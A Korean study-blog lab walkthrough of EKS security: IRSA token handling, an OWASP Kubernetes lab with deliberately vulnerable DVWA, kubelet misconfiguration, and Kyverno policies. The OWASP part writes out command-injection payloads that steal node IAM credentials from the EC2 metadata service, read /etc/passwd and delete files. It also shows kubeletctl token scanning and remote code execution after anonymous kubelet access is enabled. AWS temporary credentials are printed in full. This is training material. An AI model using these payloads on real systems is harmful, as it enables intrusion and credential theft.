kubectl exec -it eks-iam-test2 -- cat /var/run/secrets/kubernetes.io/serviceaccount/token ;echo

# aws 서비스 사용 시도
kubectl exec -it eks-iam-test2 -- aws s3 ls

# 서비스 어카운트 토큰 확인
SA_TOKEN=$(kubectl exec -it eks-iam-test2 -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $SA_TOKEN

# 파드2 삭제
kubectl delete pod eks-iam-test2

 

 

 

eksctl create iamserviceaccount \
  --name my-sa \
  --namespace default \
  --cluster $CLUSTER_NAME \
  --approve \
  --attach-policy-arn $(aws iam list-policies --query 'Policies[?PolicyName==`AmazonS3ReadOnlyAccess`].Arn' --output text)
  
eksctl get iamserviceaccount --cluster $CLUSTER_NAME

kubectl get sa
kubectl describe sa my-sa

 

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test3
spec:
  serviceAccountName: my-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 해당 SA를 파드가 사용 시 mutatingwebhook으로 Env,Volume 추가함
kubectl get mutatingwebhookconfigurations pod-identity-webhook -o yaml | kubectl neat | yh

# Pod Identity Webhook은 mutating webhook을 통해 아래 Env 내용과 1개의 볼륨을 추가함
kubectl get pod eks-iam-test3
kubectl get pod eks-iam-test3 -o yaml | kubectl neat | yh
...
    volumeMounts: 
    - mountPath: /var/run/secrets/eks.amazonaws.com/serviceaccount
      name: aws-iam-token
      readOnly: true
  ...
  volumes: 
  - name: aws-iam-token
    projected: 
      sources: 
      - serviceAccountToken: 
          audience: sts.amazonaws.com
          expirationSeconds: 86400
          path: token
...

kubectl exec -it eks-iam-test3 -- ls /var/run/secrets/eks.amazonaws.com/serviceaccount
token

kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token ; echo
...

kubectl describe pod eks-iam-test3
...
Environment:
      AWS_STS_REGIONAL_ENDPOINTS:   regional
      AWS_DEFAULT_REGION:           ap-northeast-2
      AWS_REGION:                   ap-northeast-2
      AWS_ROLE_ARN:                 arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-GE2DZKJYWCEN
      AWS_WEB_IDENTITY_TOKEN_FILE:  /var/run/secrets/eks.amazonaws.com/serviceaccount/token
    Mounts:
      /var/run/secrets/eks.amazonaws.com/serviceaccount from aws-iam-token (ro)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-69rh8 (ro)
...
Volumes:
  aws-iam-token:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  86400
  kube-api-access-sn467:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  3607
    ConfigMapName:           kube-root-ca.crt
    ConfigMapOptional:       <nil>
    DownwardAPI:             true
...

# 파드에서 aws cli 사용 확인
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl exec -it eks-iam-test3 -- aws sts get-caller-identity --query Arn
"arn:aws:sts::911283464785:assumed-role/eksctl-myeks-addon-iamserviceaccount-default-Role1-GE2DZKJYWCEN/botocore-session-1685179271"

# 되는 것고 안되는 것은 왜그런가?
kubectl exec -it eks-iam-test3 -- aws s3 ls
kubectl exec -it eks-iam-test3 -- aws ec2 describe-instances --region ap-northeast-2
kubectl exec -it eks-iam-test3 -- aws ec2 describe-vpcs --region ap-northeast-2

 

IRSA로 s3에 대해서만 조회하도록 설정하였기에 이 부분만 실행되고 다른 부분은 실행되지 않는 것을 확인할 수 있었다.

 

# 파드에 볼륨 마운트 2개 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].volumeMounts'
[
  {
    "mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
    "name": "kube-api-access-sn467",
    "readOnly": true
  },
  {
    "mountPath": "/var/run/secrets/eks.amazonaws.com/serviceaccount",
    "name": "aws-iam-token",
    "readOnly": true
  }
]

# aws-iam-token 볼륨 정보 확인 : JWT 토큰이 담겨져있고, exp, aud 속성이 추가되어 있음
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.volumes[] | select(.name=="aws-iam-token")'
{
  "name": "aws-iam-token",
  "projected": {
    "defaultMode": 420,
    "sources": [
      {
        "serviceAccountToken": {
          "audience": "sts.amazonaws.com",
          "expirationSeconds": 86400,
          "path": "token"
        }
      }
    ]
  }
}

# api 리소스 확인
kubectl api-resources |grep hook
mutatingwebhookconfigurations                  admissionregistration.k8s.io/v1        false        MutatingWebhookConfiguration
validatingwebhookconfigurations                admissionregistration.k8s.io/v1        false        ValidatingWebhookConfiguration

#
kubectl explain mutatingwebhookconfigurations

#
kubectl get MutatingWebhookConfiguration
NAME                            WEBHOOKS   AGE
pod-identity-webhook            1          147m
vpc-resource-mutating-webhook   1          147m

# pod-identity-webhook 확인
kubectl describe MutatingWebhookConfiguration pod-identity-webhook 
kubectl get MutatingWebhookConfiguration pod-identity-webhook -o yaml | yh

# AWS_WEB_IDENTITY_TOKEN_FILE 확인
IAM_TOKEN=$(kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
echo $IAM_TOKEN

# JWT 웹 확인 
{
  "aud": [
    "sts.amazonaws.com"
  ],
  "exp": 1685175662,
  "iat": 1685089262,
  "iss": "https://oidc.eks.ap-northeast-2.amazonaws.com/id/F6A7523462E8E6CDADEE5D41DF2E71F6",
  "kubernetes.io": {
    "namespace": "default",
    "pod": {
      "name": "eks-iam-test3",
      "uid": "73f66936-4d66-477a-b32b-853f7a1c22d9"
    },
    "serviceaccount": {
      "name": "my-sa",
      "uid": "3b31aa85-2718-45ed-8c1c-75ed012c1a68"
    }
  },
  "nbf": 1685089262,
  "sub": "system:serviceaccount:default:my-sa"
}

# env 변수 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].env'
[
  {
    "name": "AWS_STS_REGIONAL_ENDPOINTS",
    "value": "regional"
  },
  {
    "name": "AWS_DEFAULT_REGION",
    "value": "ap-northeast-2"
  },
  {
    "name": "AWS_REGION",
    "value": "ap-northeast-2"
  },
  {
    "name": "AWS_ROLE_ARN",
    "value": "arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1MJUYW59O6QGH"
  },
  {
    "name": "AWS_WEB_IDENTITY_TOKEN_FILE",
    "value": "/var/run/secrets/eks.amazonaws.com/serviceaccount/token"
  }
]

# Let’s take a look at this endpoint. We can use the aws eks describe-cluster command to get the OIDC Provider URL.
IDP=$(aws eks describe-cluster --name myeks --query cluster.identity.oidc.issuer --output text)

# Reach the Discovery Endpoint
curl -s $IDP/.well-known/openid-configuration | jq -r '.'

# In the above output, you can see the jwks (JSON Web Key set) field, which contains the set of keys containing the public keys used to verify JWT (JSON Web Token). 
# Refer to the documentation to get details about the JWKS properties.
curl -s $IDP/keys | jq -r '.'

 

# AWS_WEB_IDENTITY_TOKEN_FILE 토큰 값 변수 지정
IAM_TOKEN=$(kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
echo $IAM_TOKEN

# ROLE ARN 확인 후 변수 직접 지정
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
ROLE_ARN=<각자 자신의 ROLE ARN>
ROLE_ARN=arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1W8J3Q0GAMA6U

# assume-role-with-web-identity STS 임시자격증명 발급 요청
aws sts assume-role-with-web-identity --role-arn $ROLE_ARN --role-session-name mykey --web-identity-token $IAM_TOKEN | jq
{
  "Credentials": {
    "AccessKeyId": "ASIA5ILF2FJIZLOCB36X",
    "SecretAccessKey": "IvuD2BEt/TtScyv6uq3U5mF3RStuxya5gHydlz2Z",
    "SessionToken": "IQoJb3JpZ2luX2VjELH//////////wEaDmFwLW5vcnRoZWFzdC0yIkYwRAIgFsxs4rNyxuWTgqIuQWONuU8lkb+S1E9rvY4YLMtAR0ACIAfRrLYpisS1Ql+2agL0meQ+iy08bLv992tTCr0vZkqVKvkECOr//////////wEQARoMOTExMjgzNDY0Nzg1IgwmJn8sjNaBM0F+L/gqzQSnX6M6BlgzqiX3Sob0R8QZo0TEumVqCsLopwdHBzIZL6VU3kFaeqIpUh9uuZ+JaR7MlFKS7FYhIq7r+fMh5f8toWojtyKwLjT9eN2yi5A5ZfWahln1MIu9fv/dASR4USMxLtbMHOGpx3BE/pCHhV+u85z/LoHSlVNaF5IrQiCXbo3f9DrJ0kHQZuQY3N0pFDlGzXuv5hCedGlJQU2IzUcmW5kHQ/jNyIf+xEO2nTSksna5iE3r9TNnO6b6v8gZc5zDUs3fGfJfP4QwKjRXOUDMnydJ9LzME+mYoYHObdeCqncGuGwJ3GIXx9qw9ZABXuAlvATuLROaYkeLsXuote1UOqPILxvETvWo1VHA2f0hYL9ZFDSF3j6yGU+GEHbFGoMRVaVFqdbpF1bMEbC9FlmR5AWbAkkYZs8kfXRcObfpZxLB4vQBXeqj9OU/yDPvvNA+CgOoA5HFI0SjeFQHOVB7S5KVm6CAOKtoMIzTeKnKpKmN07dqJzvGrpwtNMh/GhCouunvbgNG7jF/TM3jgAniDxoD9IzCQMICNgxdioOFnB6Oe1AzMkKui53MP8Af/lcDiUKTIUNrKxdm0719kuXqR88coihzrLGkdA7Eb5Gg/gCnk+SzPu7Wu5xZaYXBe6Xqh0/c1dKsN1YQLOANo5aF3B2RCGJFDwr78rOUvNWxXs84us/Uz5k6LIGZseVzZcGh5U9ztJqhzoKFvnphbtU8b1Ctg/pTrF8EnjLGR0s4QggdrsW1b7vznisMwFrHh0F+FhSy7ldvfeXmwpQgMNP666MGOpsBmNam9fm/qK6EjmllDDvf6mR9l99Vop++V2vf1GoM4ru8/TfgP25+B1N9gEbnRuhMTxQrN6VGcyaNNlKBkwxtAs+aikBcvjk3cm0jPZmiQntTkNtBw92NAJwbRmhSIQynznxN7I1FnFukP06J9V9MiuhsJGXpGXi0kWOOQnqb9u2YraRLKJdTqVfv5dGt7aM67PeJrr/0v2YKU0M=",
    "Expiration": "2023-06-03T09:44:03+00:00"
  },
  "SubjectFromWebIdentityToken": "system:serviceaccount:default:my-sa",
  "AssumedRoleUser": {
    "AssumedRoleId": "AROA5ILF2FJI7UWTLJWKW:mykey",
    "Arn": "arn:aws:sts::911283464785:assumed-role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1W8J3Q0GAMA6U/mykey"
  },
  "Provider": "arn:aws:iam::911283464785:oidc-provider/oidc.eks.ap-northeast-2.amazonaws.com/id/8883A42CB049E2FA9B642086E7021450",
  "Audience": "sts.amazonaws.com"
}

 

 

kubectl delete pod eks-iam-test3
eksctl delete iamserviceaccount --cluster $CLUSTER_NAME --name my-sa --namespace default
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl get sa

 

4. OWASP Kubernetes Top Ten

https://malwareanalysis.tistory.com/607https://malwareanalysis.tistory.com/606에 올라온 링크 내용을 기반으로 실습해보았다.

 

MySQL 배포:

cat <<EOT > mysql.yaml
apiVersion: v1
kind: Secret
metadata:
  name: dvwa-secrets
type: Opaque
data:
  # s3r00tpa55
  ROOT_PASSWORD: czNyMDB0cGE1NQ==
  # dvwa
  DVWA_USERNAME: ZHZ3YQ==
  # p@ssword
  DVWA_PASSWORD: cEBzc3dvcmQ=
  # dvwa
  DVWA_DATABASE: ZHZ3YQ==
---
apiVersion: v1
kind: Service
metadata:
  name: dvwa-mysql-service
spec:
  selector:
    app: dvwa-mysql
    tier: backend
  ports:
    - protocol: TCP
      port: 3306
      targetPort: 3306
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-mysql
spec:
  replicas: 1
  selector:
    matchLabels:
      app: dvwa-mysql
      tier: backend
  template:
    metadata:
      labels:
        app: dvwa-mysql
        tier: backend
    spec:
      containers:
        - name: mysql
          image: mariadb:10.1
          resources:
            requests:
              cpu: "0.3"
              memory: 256Mi
            limits:
              cpu: "0.3"
              memory: 256Mi
          ports:
            - containerPort: 3306
          env:
            - name: MYSQL_ROOT_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: ROOT_PASSWORD
            - name: MYSQL_USER
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_USERNAME
            - name: MYSQL_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_PASSWORD
            - name: MYSQL_DATABASE
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_DATABASE
EOT
kubectl apply -f mysql.yaml

 

dvwa 배포

 

cat <<EOT > dvwa.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: dvwa-config
data:
  RECAPTCHA_PRIV_KEY: ""
  RECAPTCHA_PUB_KEY: ""
  SECURITY_LEVEL: "low"
  PHPIDS_ENABLED: "0"
  PHPIDS_VERBOSE: "1"
  PHP_DISPLAY_ERRORS: "1"
---
apiVersion: v1
kind: Service
metadata:
  name: dvwa-web-service
spec:
  selector:
    app: dvwa-web
  type: ClusterIP
  ports:
    - protocol: TCP
      port: 80
      targetPort: 80
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-web
spec:
  replicas: 1
  selector:
    matchLabels:
      app: dvwa-web
  template:
    metadata:
      labels:
        app: dvwa-web
    spec:
      containers:
        - name: dvwa
          image: cytopia/dvwa:php-8.1
          ports:
            - containerPort: 80
          resources:
            requests:
              cpu: "0.3"
              memory: 256Mi
            limits:
              cpu: "0.3"
              memory: 256Mi
          env:
            - name: RECAPTCHA_PRIV_KEY
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: RECAPTCHA_PRIV_KEY
            - name: RECAPTCHA_PUB_KEY
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: RECAPTCHA_PUB_KEY
            - name: SECURITY_LEVEL
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: SECURITY_LEVEL
            - name: PHPIDS_ENABLED
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHPIDS_ENABLED
            - name: PHPIDS_VERBOSE
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHPIDS_VERBOSE
            - name: PHP_DISPLAY_ERRORS
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHP_DISPLAY_ERRORS
            - name: MYSQL_HOSTNAME
              value: dvwa-mysql-service
            - name: MYSQL_DATABASE
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_DATABASE
            - name: MYSQL_USERNAME
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_USERNAME
            - name: MYSQL_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_PASSWORD
EOT
kubectl apply -f dvwa.yaml

 

Ingress 배포:

cat <<EOT > dvwa-ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  annotations:
    alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
    alb.ingress.kubernetes.io/group.name: study
    alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
    alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
    alb.ingress.kubernetes.io/scheme: internet-facing
    alb.ingress.kubernetes.io/ssl-redirect: "443"
    alb.ingress.kubernetes.io/success-codes: 200-399
    alb.ingress.kubernetes.io/target-type: ip
  name: ingress-dvwa
spec:
  ingressClassName: alb
  rules:
  - host: dvwa.$MyDomain
    http:
      paths:
      - backend:
          service:
            name: dvwa-web-service
            port:
              number: 80
        path: /
        pathType: Prefix
EOT
kubectl apply -f dvwa-ingress.yaml
echo -e "DVWA Web https://dvwa.$MyDomain"

 

이렇게 배포하면 웹 페이지가 나올 것이다. 취약점이 있는 상황을 가정하여 몇 가지 테스트를 해보았다.

 

커맨드 인젝센 메뉴를 클릭하여 테스트를 해보자. 보안에 심각한 상황이라고 볼 수 있겠다. 심지어 IAM Role 자격증명 탈취도 가능하다.

# 명령 실행 가능 확인
8.8.8.8 ; echo ; hostname
8.8.8.8 ; echo ; whoami

# IMDSv2 토큰 복사해두기
8.8.8.8 ; curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
AQAEANOG-4ks8XjkwjLYmb7ZbipV2DVeGq_fZQu5KnF9_cPQepvJVw==

# EC2 Instance Profile (IAM Role) 이름 확인
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEANOG-4ks8XjkwjLYmb7ZbipV2DVeGq_fZQu5KnF9_cPQepvJVw==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/
eksctl-myeks-nodegroup-ng1-NodeInstanceRole-lKzPjREWXRLe

# EC2 Instance Profile (IAM Role) 자격증명탈취 
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEANOG-4ks8XjkwjLYmb7ZbipV2DVeGq_fZQu5KnF9_cPQepvJVw==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-lKzPjREWXRLe
{
  "Code" : "Success",
  "LastUpdated" : "2024-04-13T23:36:24Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA3FLD2UNZMV2BDGLE",
  "SecretAccessKey" : "rliPdSE9AaYqaIURla+v4nl2yPSq5NXo+5B5txYt",
  "Token" : "IQoJb3JpZ2luX2VjEEgaDmFwLW5vcnRoZWFzdC0yIkgwRgIhAPoKj+Kwal23UUDFq09ieb+hL367teLVQbi+/348mJUeAiEA/tZ6jriRI4MHBuIv6/t7TKtXYbSU7jqsuRAYxeKUpEQq1QUIgf//////////ARAAGgw3NjczOTc4OTcwNzQiDMow3zopgYKeFONXYyqpBTGe4CTk2PZvP2o4IKLiRpLXvK9sf9aBz93QSybSI8v9+uyy9in2dOYqkbM0oCa2yCah7mL7LUM+sDe3waj8Mcfrye0KPoVzROhAihLAKFNLTyuAC10IWuxeEyZkQuCU+W+6IuRY0i8jTDRmrKaU7Oj2FzRc92VYpT/kAvfVlE9mKdFanlegvPjOEuZF4sOMWmyCKjvEW2wYIK12Z3q6w+VVOlzIqDFL4OvgIFAVaY6rxVAV+wgWxNBTgiQCAJRl79BN3jee9+Ems3IxPe8n3qqH4MXyxin1ZMeqZwYgxZO8gwWm6f+jdV2NtOET8Np3SgFZA8hznt6W+G9TS6slMV7zu8cMkFfficG6cOI/7dCRByxsdztbia/8JrlxvT1kevAldz8vrZKul5crUCIaw2xOfRC/cWqmBR/3RSMzcID3tvDxBU38XdhS98iWWKRt82xQSQU1IRJ5/jr/pnLQNR7hRI6vWUec3wIFCiLB5wZvOtYIc9BvZLl4feWO7vsg8dheRsYmSB3z7egN42K80AfblaENMvTSO68SidEmfo18HLatL0maBvOMO7n3QtYIxL3Rs8GXz51Cw0ZEfcFFXN08j8aHFHXc79V8GZTKMWmtpvHW/urtCAXbbPI+dCJoo2Won+83Z4rZhWQpTUkBURS/rnZxXnD1A+Nj91ezBLohqQOWyFgHCADpIhNKedXxODQwWvn8/ScBns0mayoPc0ks+w/9diJ7lorkMqTOix7yNfzQK8irOZZ4/wq2J/981HufrRV+NVPXUszFKz9Y9836qBXKuiqimo3rN8jawzUhNtEFT5NX0W1BXG0Zur8jfJcMLjeB0U59J5xfyY496Iw4VvqlYfXQtFjr4GEb7vDH6ZN6F1W4vSiY3EIWH6h1c58QZxW4DK4lSTDGreywBjqwAcfzKV6+4KJeJTxwWqGvjSBf+ie5o37MnSj3sdIg8YG+ZMK5eAENrVDGT5N4w0qq3Y0BeoimcBo8yTyPdH8nRG72dCx43ZHxck82WKEvr2WkUJ4TmR3uK0aCeJYsj00uocryKnD5JDm2Yi/QSVMGPX8q038PcaKEemQxcwiDQS+ExE5V9RiqlGWcVblZ2M4fG9X0T104KfM8jGEWLvJpv+g1iGgCSibMUWo0/CNSl3IR",
  "Expiration" : "2024-04-14T05:57:40Z"
}

# 그외 다양한 명령 실행 가능
8.8.8.8; cat /etc/passwd
8.8.8.8; rm -rf /tmp/*

 

그리고 Kubelet 미흡한 인증/인가 설정 시 위험한 부분에 대해서도 실습해보았다.

## Bastion 1

# 노드의 kubelet API 인증과 인가 관련 정보 확인
ssh ec2-user@$N1 cat /etc/kubernetes/kubelet/kubelet-config.json | jq
ssh ec2-user@$N1 cat /var/lib/kubelet/kubeconfig | yh

# 노드의 kubelet 사용 포트 확인 
ssh ec2-user@$N1 sudo ss -tnlp | grep kubelet
LISTEN 0      4096       127.0.0.1:10248      0.0.0.0:*    users:(("kubelet",pid=2940,fd=20))
LISTEN 0      4096               *:10250            *:*    users:(("kubelet",pid=2940,fd=21))

# 데모를 위해 awscli 파드 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: myawscli
spec:
  #serviceAccountName: my-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 파드 사용
kubectl exec -it myawscli -- aws sts get-caller-identity --query Arn
kubectl exec -it myawscli -- aws s3 ls
kubectl exec -it myawscli -- aws ec2 describe-instances --region ap-northeast-2 --output table --no-cli-pager
kubectl exec -it myawscli -- aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager

## Bastion 2

# 기존 kubeconfig 삭제
rm -rf ~/.kube

# 다운로드
curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
kubeletctl version
kubeletctl help

# 노드1 IP 변수 지정
N1=<각자 자신의 노드1의 PrivateIP>
N1=192.168.1.81

# 노드1 IP로 Scan
kubeletctl scan --cidr $N1/32

# 노드1에 kubelet API 호출 시도
curl -k https://$N1:10250/pods; echo
Unauthorized

## Bastion 1

# 노드1 접속
ssh ec2-user@$N1
-----------------------------
# 미흡한 인증/인가 설정으로 변경
sudo vi /etc/kubernetes/kubelet/kubelet-config.json
...
"authentication": {
    "anonymous": {
      "enabled": true
...
  },
  "authorization": {
    "mode": "AlwaysAllow",
...

# kubelet restart
sudo systemctl restart kubelet
systemctl status kubelet
-----------------------------

## Bastion 2 test

# 파드 목록 확인
curl -s -k https://$N1:10250/pods | jq

# kubelet-config.json 설정 내용 확인
curl -k https://$N1:10250/configz | jq

# kubeletct 사용
# Return kubelet's configuration
kubeletctl -s $N1 configz | jq

# Get list of pods on the node
kubeletctl -s $N1 pods

# Scans for nodes with opened kubelet API > Scans for for all the tokens in a given Node
kubeletctl -s $N1 scan token

# 단, 아래 실습은 워커노드1에 myawscli 파드가 배포되어 있어야 실습이 가능. 물론 노드2~3에도 kubelet 수정하면 실습 가능함.
# kubelet API로 명령 실행 : <네임스페이스> / <파드명> / <컨테이너명>
curl -k https://$N1:10250/run/default/myawscli/my-aws-cli -d "cmd=aws --version"

# Scans for nodes with opened kubelet API > remote code execution on their containers
kubeletctl -s $N1 scan rce

# Run commands inside a container
kubeletctl -s $N1 exec "/bin/bash" -n default -p myawscli -c my-aws-cli
--------------------------------
export
aws --version
aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager
exit
--------------------------------

# Return resource usage metrics (such as container CPU, memory usage, etc.)
kubeletctl -s $N1 metrics

 

 

5. Kyverno

무엇보다 Kyverno에 대한 부분은 처음 보는 부분이어서 이번 스터디에서 많은 도움이 된 부분이라고 생각한다. 정책 기반으로 리소스를 관리하는 오픈 소스 프로젝트로, EKS와 어떻게 맞물려 동작하는지 프로메테우스 및 그라파나에서 메트릭을 확인도 가능하니 정책 기반으로 보안을 관리하는 데 있어 매우 유용하리라 생각한다.

 

# 설치
# EKS 설치 시 참고 https://kyverno.io/docs/installation/platform-notes/#notes-for-eks-users
# 모니터링 참고 https://kyverno.io/docs/monitoring/
cat << EOF > kyverno-value.yaml
config:
  resourceFiltersExcludeNamespaces: [ kube-system ]

admissionController:
  serviceMonitor:
    enabled: true

backgroundController:
  serviceMonitor:
    enabled: true

cleanupController:
  serviceMonitor:
    enabled: true

reportsController:
  serviceMonitor:
    enabled: true
EOF
kubectl create ns kyverno
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --version 3.2.0-rc.3 -f kyverno-value.yaml -n kyverno

# 확인
kubectl get all -n kyverno
kubectl get crd | grep kyverno
kubectl get pod,svc -n kyverno

# (참고) 기본 인증서 확인 https://kyverno.io/docs/installation/customization/#default-certificates
# step-cli 설치 https://smallstep.com/docs/step-cli/installation/
wget https://dl.smallstep.com/cli/docs-cli-install/latest/step-cli_amd64.rpm
sudo rpm -i step-cli_amd64.rpm

#
kubectl -n kyverno get secret
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\.crt}' | base64 -d
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\.crt}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
  Subject:     *.kyverno.svc
  Issuer:      *.kyverno.svc
  Valid from:  2024-04-07T06:05:52Z
          to:  2025-04-07T07:05:52Z

#
kubectl get validatingwebhookconfiguration kyverno-policy-validating-webhook-cfg -o jsonpath='{.webhooks[0].clientConfig.caBundle}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
  Subject:     *.kyverno.svc
  Issuer:      *.kyverno.svc
  Valid from:  2024-04-07T06:05:52Z
          to:  2025-04-07T07:05:52Z

 

 

Validation 실습

# 모니터링
watch -d kubectl get pod -n kyverno

# ClusterPolicy 적용
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-labels
spec:
  validationFailureAction: Enforce
  rules:
  - name: check-team
    match:
      any:
      - resources:
          kinds:
          - Pod
    validate:
      message: "label 'team' is required"
      pattern:
        metadata:
          labels:
            team: "?*"
EOF

# 확인
kubectl get validatingwebhookconfigurations
kubectl get ClusterPolicy
NAME             ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE   MESSAGE
require-labels   true        true         Enforce           True    12s   Ready

# 디플로이먼트 생성 시도
kubectl create deployment nginx --image=nginx
error: failed to create deployment: admission webhook "validate.kyverno.svc-fail" denied the request: 

resource Deployment/default/nginx was blocked due to the following policies 

require-labels:
  autogen-check-team: 'validation error: label ''team'' is required. rule autogen-check-team
    failed at path /spec/template/metadata/labels/team/'

# 디플로이먼트 생성 시도
kubectl run nginx --image nginx --labels team=backend
kubectl get pod -l team=backend

# 확인
kubectl get policyreport -o wide
NAME                                   KIND         NAME                          PASS   FAIL   WARN   ERROR   SKIP   AGE
e1073f10-84ef-4999-9651-9983c49ea76a   Pod          nginx                         1      0      0      0       0      29s

kubectl get policyreport e1073f10-84ef-4999-9651-9983c49ea76a -o yaml | kubectl neat | yh
apiVersion: wgpolicyk8s.io/v1alpha2
kind: PolicyReport
metadata: 
  labels: 
    app.kubernetes.io/managed-by: kyverno
  name: e1073f10-84ef-4999-9651-9983c49ea76a
  namespace: default
results: 
- message: validation rule 'check-team' passed.
  policy: require-labels
  result: pass
  rule: check-team
  scored: true
  source: kyverno
  timestamp: 
    nanos: 0
    seconds: 1712473900
scope: 
  apiVersion: v1
  kind: Pod
  name: nginx
  namespace: default
  uid: e1073f10-84ef-4999-9651-9983c49ea76a
summary: 
  error: 0
  fail: 0
  pass: 1
  skip: 0
  warn: 0

# 정책 삭제
kubectl delete clusterpolicy require-labels

 

Mutation 실습

#
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: add-labels
spec:
  rules:
  - name: add-team
    match:
      any:
      - resources:
          kinds:
          - Pod
    mutate:
      patchStrategicMerge:
        metadata:
          labels:
            +(team): bravo
EOF

# 확인
kubectl get mutatingwebhookconfigurations
kubectl get ClusterPolicy
NAME         ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE     MESSAGE
add-labels   true        true         Audit             True    6m41s   Ready

# 파드 생성 후 label 확인
kubectl run redis --image redis
kubectl get pod redis --show-labels

# 파드 생성 후 label 확인 : 바로 위와 차이점은?
kubectl run newredis --image redis -l team=alpha
kubectl get pod newredis --show-labels

# 삭제
kubectl delete clusterpolicy add-labels

 

 

Generation 실습

# First, create this Kubernetes Secret in your cluster which will simulate a real image pull secret.
kubectl -n default create secret docker-registry regcred \
  --docker-server=myinternalreg.corp.com \
  --docker-username=john.doe \
  --docker-password=Passw0rd123! \
  --docker-email=john.doe@corp.com

#
kubectl get secret regcred
NAME      TYPE                             DATA   AGE
regcred   kubernetes.io/dockerconfigjson   1      26s

#
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: sync-secrets
spec:
  rules:
  - name: sync-image-pull-secret
    match:
      any:
      - resources:
          kinds:
          - Namespace
    generate:
      apiVersion: v1
      kind: Secret
      name: regcred
      namespace: "{{request.object.metadata.name}}"
      synchronize: true
      clone:
        namespace: default
        name: regcred
EOF

#
kubectl get ClusterPolicy
NAME           ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE   MESSAGE
sync-secrets   true        true         Audit             True    8s    Ready

# 신규 네임스페이스 생성 후 확인
kubectl create ns mytestns
kubectl -n mytestns get secret

# 삭제
kubectl delete clusterpolicy sync-secrets

 

그리고 Kyverno CLI도 있으니 이를 통해 policy를 확인해도 좋을 것 같다.

# Install Kyverno CLI using kubectl krew plugin manager
kubectl krew install kyverno

# test the Kyverno CLI
kubectl kyverno version
kubectl kyverno --help
